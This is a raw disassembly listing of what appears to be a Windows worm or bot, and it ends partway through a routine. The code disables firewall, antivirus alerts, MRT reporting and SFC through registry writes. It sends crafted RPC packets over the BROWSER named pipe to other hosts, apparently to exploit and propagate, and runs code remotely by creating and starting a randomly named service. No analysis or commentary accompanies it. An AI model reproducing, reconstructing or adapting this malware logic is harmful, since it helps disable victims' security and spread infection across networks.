		push	offset aSfcscan	; "SFCScan"
		push	offset aSoftwarePolici ; "Software\\Policies\\Microsoft\\Windows NT\\"...
		push	esi
		call	sub_41A8D1
		add	esp, 40h
		push	1
		push	offset aAutoshareserve ; "AutoShareServer"
		push	edi
		push	esi
		call	sub_41A8D1
		push	1
		push	offset aAutosharewks ; "AutoShareWks"
		push	edi
		push	esi
		call	sub_41A8D1
		push	ebx
		mov	edi, offset aSystemControls ; "SYSTEM\\ControlSet001\\Services\\SharedAcc"...
		push	offset aEnablefirewall ; "EnableFirewall"
		push	edi
		push	esi
		call	sub_41A8D1
		push	ebx
		push	offset aDonotallowexce ; "DoNotAllowExceptions"
		push	edi
		push	esi
		call	sub_41A8D1
		add	esp, 40h
		push	1
		push	offset aDisablenotific ; "DisableNotifications"
		push	edi
		push	esi
		call	sub_41A8D1
		push	ebx
		mov	edi, offset aSystemContro_0 ; "SYSTEM\\ControlSet001\\Services\\SharedAcc"...
		push	offset aEnablefirewall ; "EnableFirewall"
		push	edi
		push	esi
		call	sub_41A8D1
		push	ebx
		push	offset aDonotallowexce ; "DoNotAllowExceptions"
		push	edi
		push	esi
		call	sub_41A8D1
		push	1
		push	offset aDisablenotific ; "DisableNotifications"
		push	edi
		push	esi
		call	sub_41A8D1
		add	esp, 40h
		mov	edi, offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Security Center"
		push	1
		push	offset aAntivirusdisab ; "AntiVirusDisableNotify"
		push	edi
		push	esi
		call	sub_41A8D1
		push	1
		push	offset aAntivirusoverr ; "AntiVirusOverride"
		push	edi
		push	esi
		call	sub_41A8D1
		push	1
		push	offset aFirewalldisabl ; "FirewallDisableNotify"
		push	edi
		push	esi
		call	sub_41A8D1
		push	1
		push	offset aFirewalloverri ; "FirewallOverride"
		push	edi
		push	esi
		call	sub_41A8D1
		add	esp, 40h
		push	1
		push	offset aDontreportinfe ; "DontReportInfectionInformation"
		push	offset aSoftwarePoli_0 ; "SOFTWARE\\Policies\\Microsoft\\MRT"
		push	esi
		call	sub_41A8D1
		add	esp, 10h
		call	sub_4146B9
		lea	eax, [esp+3E8h+var_3D8]
		push	eax
		push	ebx
		push	ebx
		push	offset sub_414810
		push	ebx
		push	ebx
		call	ebp ; dword_42F158
		lea	eax, [esp+3E8h+var_3D8]
		push	eax
		push	ebx
		push	ebx
		push	offset sub_41477A
		push	ebx
		push	ebx
		call	ebp ; dword_42F158
		lea	eax, [esp+3E8h+var_3D8]
		push	eax
		push	ebx
		push	ebx
		push	offset sub_414983
		push	ebx
		push	ebx
		call	ebp ; dword_42F158
		lea	eax, [esp+3E8h+var_3D8]
		push	eax
		push	ebx
		push	ebx
		push	offset sub_414CF1
		push	ebx
		push	ebx
		call	ebp ; dword_42F158
		lea	eax, [esp+3E8h+var_3D8]
		push	eax
		push	ebx
		push	ebx
		push	offset sub_414FE3
		push	ebx
		push	ebx
		call	ebp ; dword_42F158
		mov	esi, offset dword_4554F8
		push	100h
		push	esi
		call	dword_454324	; gethostname
		push	esi
		call	dword_454398	; gethostbyname
		mov	dword_4552E0, eax
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_45439C	; inet_ntoa
		push	10h
		push	eax
		push	offset dword_455388
		mov	dword_4553A0, eax
		call	sub_4222F0
		push	offset dword_4554B0
		mov	dword_45539C, ebx
		call	sub_41A1C8
		add	esp, 10h
		mov	esi, offset dword_4554B0
		jmp	loc_4127A6
; ---------------------------------------------------------------------------


loc_412711:				; CODE XREF: sub_412267+548j
		mov	ecx, esi
		call	sub_411123
		test	al, al
		jnz	short loc_412778
		call	sub_41F621
		call	dword_454218	; DnsFlushResolverCache
		mov	eax, dword_45539C
		mov	ecx, esi
		mov	edi, eax
		imul	eax, 0B8h
		add	eax, offset byte_4396F7
		imul	edi, 0B8h
		push	eax
		push	0Ch
		push	1
		call	sub_410806
		push	eax
		push	4
		push	8
		mov	ecx, esi
		call	sub_410806
		push	eax
		push	5
		push	7
		mov	ecx, esi
		call	sub_410806
		push	eax
		lea	eax, dword_439658[edi]
		push	dword_439708[edi]
		mov	ecx, esi
		push	eax
		call	sub_40FFB4


loc_412778:				; CODE XREF: sub_412267+4B3j
		mov	ecx, esi
		call	sub_4101D2
		push	1F40h
		call	dword_42F15C	; Sleep
		mov	eax, dword_43C170
		dec	eax
		cmp	dword_45539C, eax
		jnz	short loc_4127A0
		mov	dword_45539C, ebx
		jmp	short loc_4127A6
; ---------------------------------------------------------------------------


loc_4127A0:				; CODE XREF: sub_412267+52Fj
		inc	dword_45539C


loc_4127A6:				; CODE XREF: sub_412267+4A5j
					; sub_412267+537j
		mov	ecx, esi
		call	sub_411127
		test	al, al
		jnz	loc_412711
		call	sub_41BFDA
		call	dword_454258	; WSACleanup
		push	dword_4555FC
		call	dword_42F084	; ReleaseMutex
		push	ebx
		call	dword_42F150	; ExitThread


loc_4127D3:				; DATA XREF: .text:0043200Co
		jmp	$+5
		mov	eax, dword_43C810
		add	eax, 6
		mov	dword_45560C, eax
		retn
sub_412267	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4127E6	proc near		; CODE XREF: sub_4127E6+D0p
					; sub_4128D4+4A7p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_4127FA
		or	[ebp+arg_7], 1
		jmp	short loc_4127FE
; ---------------------------------------------------------------------------


loc_4127FA:				; CODE XREF: sub_4127E6+Cj
		and	[ebp+arg_7], 0FEh


loc_4127FE:				; CODE XREF: sub_4127E6+12j
		mov	ecx, [ebp+arg_24]
		mov	ebx, [ebp+arg_20]
		movzx	eax, cx
		lea	edx, [ebx+18h]
		cmp	edx, eax
		ja	short loc_412822
		or	[ebp+arg_7], 2
		and	[ebp+arg_2B], 0
		lea	eax, [ebx+18h]
		mov	[ebp+arg_14], ebx
		mov	[ebp+arg_C], ax
		jmp	short loc_412834
; ---------------------------------------------------------------------------


loc_412822:				; CODE XREF: sub_4127E6+26j
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_C], cx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_2B], 1


loc_412834:				; CODE XREF: sub_4127E6+3Aj
		movzx	eax, [ebp+arg_C]
		push	eax
		mov	[ebp+var_4], eax
		call	sub_422F79
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jz	loc_4128CD
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+arg_14]
		mov	esi, [ebp+arg_1C]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	sub_4223F0
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
		push	[ebp+arg_0]
		call	dword_42F07C	; WriteFile
		test	eax, eax
		jz	short loc_4128C4
		mov	eax, [ebp+var_4]
		cmp	[ebp+var_8], eax
		jnz	short loc_4128C4
		push	[ebp+arg_20]
		call	sub_4230B3
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_4128C0
		push	0
		sub	ebx, edi
		push	[ebp+arg_24]
		add	edi, esi
		lea	esi, [ebp+arg_4]
		push	ebx
		push	edi
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]
		rep movsd
		call	sub_4127E6
		add	esp, 2Ch
		jmp	short loc_4128CF
; ---------------------------------------------------------------------------


loc_4128C0:				; CODE XREF: sub_4127E6+B3j
		mov	al, 1
		jmp	short loc_4128CF
; ---------------------------------------------------------------------------


loc_4128C4:				; CODE XREF: sub_4127E6+9Cj
					; sub_4127E6+A4j
		push	[ebp+arg_20]
		call	sub_4230B3
		pop	ecx


loc_4128CD:				; CODE XREF: sub_4127E6+61j
		xor	al, al


loc_4128CF:				; CODE XREF: sub_4127E6+D8j
					; sub_4127E6+DCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4127E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4128D4	proc near		; CODE XREF: .text:00412E9Ep

var_60E0	= byte ptr -60E0h
var_40E0	= byte ptr -40E0h
var_20E0	= byte ptr -20E0h
var_E0		= byte ptr -0E0h
var_CC		= dword	ptr -0CCh
var_C0		= byte ptr -0C0h
var_BC		= byte ptr -0BCh
var_BB		= byte ptr -0BBh
var_BA		= byte ptr -0BAh
var_B9		= byte ptr -0B9h
var_B8		= dword	ptr -0B8h
var_B4		= word ptr -0B4h
var_B2		= word ptr -0B2h
var_B0		= dword	ptr -0B0h
var_AC		= word ptr -0ACh
var_AA		= word ptr -0AAh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= word ptr -0A0h
var_9E		= byte ptr -9Eh
var_9C		= byte ptr -9Ch
var_8C		= dword	ptr -8Ch
var_88		= byte ptr -88h
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= qword	ptr -6Ch
var_64		= dword	ptr -64h
var_60		= byte ptr -60h
var_50		= dword	ptr -50h
var_4C		= byte ptr -4Ch
var_4B		= byte ptr -4Bh
var_4A		= byte ptr -4Ah
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_38		= word ptr -38h
var_36		= word ptr -36h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  8
arg_B8		= dword	ptr  0C0h
arg_D0		= dword	ptr  0D8h

		push	ebp
		mov	ebp, esp
		mov	eax, 60E0h
		call	sub_4220C0
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+arg_0]
		push	offset a__0	; "."
		push	eax
		call	sub_424380
		pop	ecx
		xor	ebx, ebx
		test	eax, eax
		pop	ecx
		mov	esi, 2000h
		jz	short loc_412947
		lea	eax, [ebp+arg_0]
		push	eax
		push	offset loc_438FF8
		lea	eax, [ebp+var_20E0]
		push	esi
		push	eax
		call	sub_42219B
		push	20h
		lea	eax, [ebp+var_E0]
		push	ebx
		push	eax
		call	sub_4221F0
		lea	eax, [ebp+var_20E0]
		add	esp, 1Ch
		mov	[ebp+var_CC], eax
		mov	eax, offset byte_44D6A4
		push	ebx
		push	eax
		push	eax
		lea	eax, [ebp+var_E0]
		push	eax
		call	sub_421C72


loc_412947:				; CODE XREF: sub_4128D4+29j
		lea	eax, [ebp+arg_0]
		push	eax
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\BROWSER"
		lea	eax, [ebp+var_40E0]
		push	esi
		push	eax
		call	sub_42219B
		add	esp, 10h
		lea	eax, [ebp+var_40E0]
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		push	eax
		call	dword_42F060	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	dword ptr [ebp+var_C+4], eax
		jnz	short loc_41298C


loc_412985:				; CODE XREF: sub_4128D4+271j
					; sub_4128D4+389j ...
		xor	al, al
		jmp	loc_412E5F
; ---------------------------------------------------------------------------


loc_41298C:				; CODE XREF: sub_4128D4+AFj
		push	48h
		lea	eax, [ebp+var_BC]
		push	ebx
		push	eax
		call	sub_4221F0
		push	10h
		xor	edi, edi
		pop	eax
		inc	edi
		mov	[ebp+var_B8], eax
		push	eax
		lea	eax, [ebp+var_9C]
		push	offset dword_43C858
		push	eax
		mov	[ebp+var_BC], 5
		mov	[ebp+var_BB], bl
		mov	[ebp+var_BA], 0Bh
		mov	[ebp+var_B9], 3
		mov	[ebp+var_B4], 48h
		mov	[ebp+var_B2], bx
		mov	[ebp+var_B0], ebx
		mov	[ebp+var_AC], 10B8h
		mov	[ebp+var_AA], 10B8h
		mov	[ebp+var_A8], ebx
		mov	[ebp+var_A4], edi
		mov	[ebp+var_A0], bx
		mov	[ebp+var_9E], 1
		call	sub_4223F0
		push	10h
		lea	eax, [ebp+var_88]
		push	offset dword_43C844
		push	eax
		mov	[ebp+var_8C], 3
		call	sub_4223F0
		add	esp, 24h
		lea	eax, [ebp+var_C0]
		mov	[ebp+var_78], 2
		push	ebx
		push	eax
		lea	eax, [ebp+var_BC]
		push	48h
		push	eax
		push	dword ptr [ebp+var_C+4]
		call	dword_42F07C	; WriteFile
		test	eax, eax
		jnz	short loc_412A6B
		push	7D0h
		call	dword_42F15C	; Sleep
		jmp	loc_412B3C
; ---------------------------------------------------------------------------


loc_412A6B:				; CODE XREF: sub_4128D4+185j
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_60E0]
		push	esi
		push	eax
		push	dword ptr [ebp+var_C+4]
		call	dword_42F054	; ReadFile
		push	ebx
		call	sub_4241D4
		push	eax
		call	sub_4220EF
		push	14h
		lea	eax, [ebp+var_74]
		push	41h
		push	eax
		call	sub_4221F0
		push	1Ch
		lea	eax, [ebp+var_34]
		push	41h
		push	eax
		call	sub_4221F0
		add	esp, 20h
		call	sub_4220FC
		mov	esi, [ebp+arg_D0]
		mov	[ebp+var_74], eax
		mov	dword ptr [ebp+var_6C+4], edi
		mov	dword ptr [ebp+var_6C],	ebx
		lea	esi, [esi+esi*4]
		mov	[ebp+var_70], edi
		shl	esi, 2
		mov	word ptr [ebp+var_64], bx
		mov	[ebp+var_2C], ebx
		cmp	byte_43C7F8[esi], bl
		jz	short loc_412AE5
		push	4
		mov	[ebp+var_28], edi
		mov	[ebp+var_30], edi
		push	offset dword_455610
		jmp	short loc_412AF5
; ---------------------------------------------------------------------------


loc_412AE5:				; CODE XREF: sub_4128D4+200j
		push	2
		pop	eax
		push	4
		mov	[ebp+var_28], eax
		mov	[ebp+var_30], eax
		push	offset loc_43C83C


loc_412AF5:				; CODE XREF: sub_4128D4+20Fj
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4223F0
		add	esp, 0Ch
		call	sub_4220FC
		mov	edi, 0FAh
		cdq
		mov	ecx, edi
		idiv	ecx
		inc	edx
		mov	[ebp+var_34], edx
		call	sub_4220FC
		cdq
		idiv	edi
		mov	eax, dword_43C7EC[esi]
		mov	[ebp+var_1C], ebx
		push	eax
		mov	[ebp+arg_D0], eax
		inc	edx
		mov	[ebp+var_20], edx
		call	sub_422F79
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		jnz	short loc_412B4A


loc_412B3C:				; CODE XREF: sub_4128D4+192j
		push	dword ptr [ebp+var_C+4]
		call	dword_42F038	; CloseHandle
		jmp	loc_412985
; ---------------------------------------------------------------------------


loc_412B4A:				; CODE XREF: sub_4128D4+266j
		mov	eax, [ebp+arg_D0]
		add	eax, 0FFFFFFFEh
		push	eax
		push	90h
		push	edi
		call	sub_4221F0
		mov	eax, [ebp+arg_D0]
		push	2
		push	ebx
		lea	eax, [edi+eax-2]
		push	eax
		call	sub_4221F0
		mov	eax, dword_43C7F4[esi]
		push	7
		add	eax, edi
		push	offset dword_43C7E0
		push	eax
		mov	[ebp+var_4], eax
		call	sub_4223F0
		push	dword_43C814
		mov	eax, [ebp+var_4]
		add	eax, 7
		push	offset dword_432980
		push	eax
		call	sub_4223F0
		mov	eax, dword_43C7F0[esi]
		add	esp, 30h
		mov	[ebp+var_4], eax
		add	eax, edi
		cmp	byte_43C7F8[esi], bl
		jz	short loc_412C02
		push	4
		push	offset dword_45560C
		push	eax
		call	sub_4223F0
		add	[ebp+var_4], 0Ch
		mov	esi, offset dword_43C810
		mov	eax, [ebp+var_4]
		push	4
		add	eax, edi
		push	esi
		push	eax
		call	sub_4223F0
		mov	eax, [ebp+var_4]
		push	4
		push	esi
		lea	eax, [eax+edi+24h]
		push	eax
		mov	[ebp+var_4], eax
		call	sub_4223F0
		mov	eax, [ebp+var_4]
		push	4
		add	eax, 0Ch
		push	esi
		push	eax
		call	sub_4223F0
		add	esp, 30h
		jmp	short loc_412C28
; ---------------------------------------------------------------------------


loc_412C02:				; CODE XREF: sub_4128D4+2E1j
		mov	[ebp+var_4], eax
		mov	dword ptr [ebp+var_C], 10h
		mov	esi, offset dword_43C810


loc_412C11:				; CODE XREF: sub_4128D4+352j
		push	4
		push	esi
		push	[ebp+var_4]
		call	sub_4223F0
		add	[ebp+var_4], 4
		add	esp, 0Ch
		dec	dword ptr [ebp+var_C]
		jnz	short loc_412C11


loc_412C28:				; CODE XREF: sub_4128D4+32Cj
		mov	eax, [ebp+arg_D0]
		add	eax, 42h
		push	eax
		call	sub_422F79
		mov	esi, eax
		mov	dword ptr [esp+8+var_C+4], 7D0h
		mov	dword ptr [ebp+var_C], esi
		call	dword_42F15C	; Sleep
		cmp	esi, ebx
		jnz	short loc_412C62
		push	dword ptr [ebp+var_C+4]
		call	dword_42F038	; CloseHandle
		push	edi
		call	sub_4230B3
		pop	ecx
		jmp	loc_412985
; ---------------------------------------------------------------------------


loc_412C62:				; CODE XREF: sub_4128D4+377j
		mov	eax, [ebp+arg_D0]
		add	eax, 42h
		push	eax
		push	ebx		; double
		push	esi
		call	sub_4221F0
		lea	eax, [ebp+var_74]
		push	14h
		push	eax
		push	esi
		call	sub_4223F0
		mov	eax, [ebp+arg_D0]
		mov	dword ptr [ebp+var_14+4], ebx
		mov	dword ptr [ebp+var_14],	eax
		add	esp, 10h
		fild	[ebp+var_14]
		fmul	flt_42F31C
		fstp	[esp+0Ch+var_C]
		call	sub_4242B0
		call	sub_4234BC
		push	[ebp+arg_D0]
		mov	[esi+1Ch], eax
		mov	[esi+14h], eax
		lea	eax, [esi+20h]
		push	edi
		push	eax
		mov	[esi+18h], ebx
		call	sub_4223F0
		mov	eax, [ebp+arg_D0]
		add	esp, 14h
		add	eax, 20h
		test	al, 3
		mov	[ebp+var_4], eax
		jz	short loc_412CD8


loc_412CD0:				; CODE XREF: sub_4128D4+3FFj
		inc	eax
		test	al, 3
		jnz	short loc_412CD0
		mov	[ebp+var_4], eax


loc_412CD8:				; CODE XREF: sub_4128D4+3FAj
		lea	ecx, [ebp+var_34]
		push	1Ch
		add	eax, esi
		push	ecx
		push	eax
		call	sub_4223F0
		add	[ebp+var_4], 1Ch
		push	edi
		call	sub_4230B3
		push	18h
		lea	eax, [ebp+var_4C]
		push	ebx
		push	eax
		call	sub_4221F0
		push	14h
		lea	eax, [ebp+var_60]
		push	ebx
		push	eax
		mov	[ebp+var_4C], 5
		mov	[ebp+var_4B], bl
		mov	[ebp+var_4A], bl
		mov	[ebp+var_49], 3
		mov	[ebp+var_48], 10h
		mov	[ebp+var_42], bx
		mov	[ebp+var_40], ebx
		mov	[ebp+var_38], bx
		mov	[ebp+var_36], 1Fh
		call	sub_4221F0
		add	esp, 28h
		push	ebx
		push	ebx
		push	1
		push	ebx
		call	dword_42F094	; CreateEventA
		mov	[ebp+var_50], eax
		mov	byte ptr [ebp+arg_D0+3], bl
		mov	dword ptr [ebp+var_14+4], ebx


loc_412D48:				; CODE XREF: sub_4128D4+53Aj
		cmp	dword ptr [ebp+var_14+4], 2
		jge	loc_412E3A
		inc	dword ptr [ebp+var_14+4]
		push	7D0h
		call	dword_42F15C	; Sleep
		push	1
		push	10B8h
		push	[ebp+var_4]
		push	esi
		lea	esi, [ebp+var_4C]
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	dword ptr [ebp+var_C+4]
		rep movsd
		call	sub_4127E6
		add	esp, 2Ch
		test	al, al
		jz	loc_412E37
		cmp	[ebp+var_50], ebx
		jz	short loc_412E05
		lea	eax, [ebp+var_60]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_60E0]
		push	2000h
		push	eax
		push	dword ptr [ebp+var_C+4]
		call	dword_42F054	; ReadFile
		test	eax, eax
		jnz	short loc_412DC2
		call	dword_42F068	; RtlGetLastWin32Error
		cmp	eax, 3E5h
		jnz	loc_412985


loc_412DC2:				; CODE XREF: sub_4128D4+4DBj
		push	3E8h
		push	[ebp+var_50]
		call	dword_42F064	; WaitForSingleObject
		cmp	eax, 102h
		jnz	short loc_412E05
		movzx	eax, word_439014
		push	eax
		lea	esi, [ebp+arg_0]
		sub	esp, 0D0h
		mov	byte ptr [ebp+arg_D0+3], 1
		push	34h
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_401160
		add	esp, 0D4h
		test	eax, eax
		jnz	short loc_412E16


loc_412E05:				; CODE XREF: sub_4128D4+4BAj
					; sub_4128D4+501j
		cmp	byte ptr [ebp+arg_D0+3], bl
		mov	esi, dword ptr [ebp+var_C]
		jz	loc_412D48
		jmp	short loc_412E3A
; ---------------------------------------------------------------------------


loc_412E16:				; CODE XREF: sub_4128D4+52Fj
		push	7D0h
		call	dword_42F15C	; Sleep
		mov	eax, [ebp+arg_B8]
		lea	eax, [eax+eax*8]
		lea	eax, ds:432090h[eax*8]
		inc	dword ptr [eax]
		mov	al, 1
		jmp	short loc_412E5F
; ---------------------------------------------------------------------------


loc_412E37:				; CODE XREF: sub_4128D4+4B1j
		mov	esi, dword ptr [ebp+var_C]


loc_412E3A:				; CODE XREF: sub_4128D4+478j
					; sub_4128D4+540j
		push	dword ptr [ebp+var_C+4]
		mov	edi, dword_42F038
		call	edi ; dword_42F038
		push	esi
		call	sub_4230B3
		cmp	[ebp+var_50], ebx
		pop	ecx
		jz	short loc_412E56
		push	[ebp+var_50]
		call	edi ; dword_42F038


loc_412E56:				; CODE XREF: sub_4128D4+57Bj
		cmp	byte ptr [ebp+arg_D0+3], bl
		setnz	al


loc_412E5F:				; CODE XREF: sub_4128D4+B3j
					; sub_4128D4+561j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4128D4	endp

; ---------------------------------------------------------------------------
		push	ebx
		xor	ebx, ebx
		push	esi
		inc	ebx
		push	edi
		lea	eax, [esp+18h]
		push	ebx
		push	eax
		call	sub_401AB3
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jnz	short loc_412E7F


loc_412E7B:				; CODE XREF: .text:00412E82j
		push	0
		jmp	short loc_412E8A
; ---------------------------------------------------------------------------


loc_412E7F:				; CODE XREF: .text:00412E79j
		cmp	eax, 2
		jz	short loc_412E7B
		cmp	eax, 3
		jnz	short loc_412EB1
		push	ebx


loc_412E8A:				; CODE XREF: .text:00412E7Dj
		sub	esp, 0D0h
		lea	esi, [esp+0ECh]
		push	34h
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_4128D4
		add	esp, 0D4h
		test	al, al
		jz	short loc_412EB1
		mov	eax, ebx
		jmp	short loc_412EB3
; ---------------------------------------------------------------------------


loc_412EB1:				; CODE XREF: .text:00412E87j
					; .text:00412EABj
		xor	eax, eax


loc_412EB3:				; CODE XREF: .text:00412EAFj
		pop	edi
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412EB7	proc near		; CODE XREF: sub_4130E5+3DAp

var_208		= byte ptr -208h
var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 208h
		push	ebx
		push	esi
		push	edi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	[ebp+arg_4]
		call	dword_454304	; OpenSCManagerA
		xor	esi, esi
		mov	[ebp+var_4], eax
		cmp	eax, esi
		jz	loc_41301D
		push	[ebp+arg_10]
		lea	eax, [ebp+var_208]
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		push	offset aSSS_1	; "%s\\%s\\%s"
		push	eax
		call	sub_422063
		add	esp, 14h
		call	sub_4220FC
		push	9
		pop	edi
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_4220FC
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_4220FC
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_4220FC
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_4220FC
		cdq
		idiv	edi
		lea	eax, [ebp+var_104]
		push	edx
		push	offset aDDDDD	; "%d%d%d%d%d"
		push	eax
		call	sub_422063
		add	esp, 1Ch


loc_412F4C:				; DATA XREF: .text:off_442260o
		lea	eax, [ebp+var_208]
		mov	edi, 0F01FFh
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		push	eax
		push	1
		push	3
		push	20h
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+var_4]
		call	dword_45437C	; CreateServiceA
		mov	ebx, eax
		cmp	ebx, esi
		jnz	short loc_412F89
		push	[ebp+var_4]
		jmp	loc_413017
; ---------------------------------------------------------------------------


loc_412F89:				; CODE XREF: sub_412EB7+C8j
		push	esi
		push	esi
		push	ebx
		call	dword_4541DC	; StartServiceA
		test	eax, eax
		jz	short loc_412FBD
		push	1F4h
		call	dword_42F15C	; Sleep
		push	ebx
		call	dword_454250	; DeleteService
		push	[ebp+var_4]
		call	dword_4541F0	; CloseServiceHandle
		push	ebx


loc_412FB2:				; CODE XREF: sub_412EB7+14Dj
		call	dword_4541F0	; CloseServiceHandle
		xor	eax, eax
		inc	eax
		jmp	short loc_41301F
; ---------------------------------------------------------------------------


loc_412FBD:				; CODE XREF: sub_412EB7+DDj
		call	dword_42F068	; RtlGetLastWin32Error
		cmp	eax, 41Dh
		jnz	short loc_413006
		push	edi
		push	offset dword_439068
		push	[ebp+var_4]
		call	dword_4541D4	; OpenServiceA
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_413006
		push	esi
		push	esi
		push	edi
		call	dword_4541DC	; StartServiceA
		test	eax, eax
		jz	short loc_413006
		push	ebx
		call	dword_454250	; DeleteService
		push	[ebp+var_4]
		call	dword_4541F0	; CloseServiceHandle
		push	ebx
		call	dword_4541F0	; CloseServiceHandle
		push	edi
		jmp	short loc_412FB2
; ---------------------------------------------------------------------------


loc_413006:				; CODE XREF: sub_412EB7+111j
					; sub_412EB7+126j ...
		push	ebx
		call	dword_454250	; DeleteService
		push	[ebp+var_4]
		call	dword_4541F0	; CloseServiceHandle
		push	ebx


loc_413017:				; CODE XREF: sub_412EB7+CDj
		call	dword_4541F0	; CloseServiceHandle


loc_41301D:				; CODE XREF: sub_412EB7+26j
		xor	eax, eax


loc_41301F:				; CODE XREF: sub_412EB7+104j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_412EB7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413024	proc near		; CODE XREF: sub_4130E5+4A7p

var_3AC		= byte ptr -3ACh
var_1A4		= byte ptr -1A4h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 3ACh
		push	ebx
		push	edi
		lea	eax, [ebp+var_1A4]
		push	190h
		mov	edi, dword_42F098
		push	eax
		push	0FFFFFFFFh
		xor	ebx, ebx
		push	[ebp+arg_0]
		mov	[ebp+var_4], ebx
		push	ebx
		push	ebx
		call	edi ; dword_42F098
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		call	dword_45422C
		test	eax, eax
		jnz	short loc_4130D6
		mov	ecx, [ebp+var_4]
		cmp	ecx, ebx
		jz	short loc_4130D6
		mov	eax, [ecx]
		push	esi
		push	3Ch
		xor	edx, edx
		pop	esi
		div	esi
		xor	edx, edx
		push	10h
		push	ebx
		sub	eax, [ecx+18h]
		mov	ecx, 5A0h
		inc	eax
		inc	eax
		div	ecx
		lea	eax, [ebp+var_14]
		push	eax
		mov	esi, edx
		call	sub_4221F0
		imul	esi, 0EA60h
		add	esp, 0Ch
		lea	eax, [ebp+var_3AC]
		mov	[ebp+var_14], esi
		push	208h
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	ebx
		push	ebx
		call	edi ; dword_42F098
		lea	eax, [ebp+var_3AC]
		mov	[ebp+var_8], eax
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		call	dword_454280
		test	eax, eax
		pop	esi
		jnz	short loc_4130D6
		inc	ebx


loc_4130D6:				; CODE XREF: sub_413024+3Ej
					; sub_413024+45j ...
		push	[ebp+var_4]
		call	dword_4543A0
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_413024	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4130E5	proc near		; CODE XREF: sub_4135E8+34p

var_404		= byte ptr -404h
var_300		= byte ptr -300h
var_200		= byte ptr -200h
var_FC		= byte ptr -0FCh
var_F8		= dword	ptr -0F8h
var_EC		= dword	ptr -0ECh
var_E8		= dword	ptr -0E8h
var_E0		= dword	ptr -0E0h
var_DC		= dword	ptr -0DCh
var_D8		= dword	ptr -0D8h
var_D4		= dword	ptr -0D4h
var_D0		= dword	ptr -0D0h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
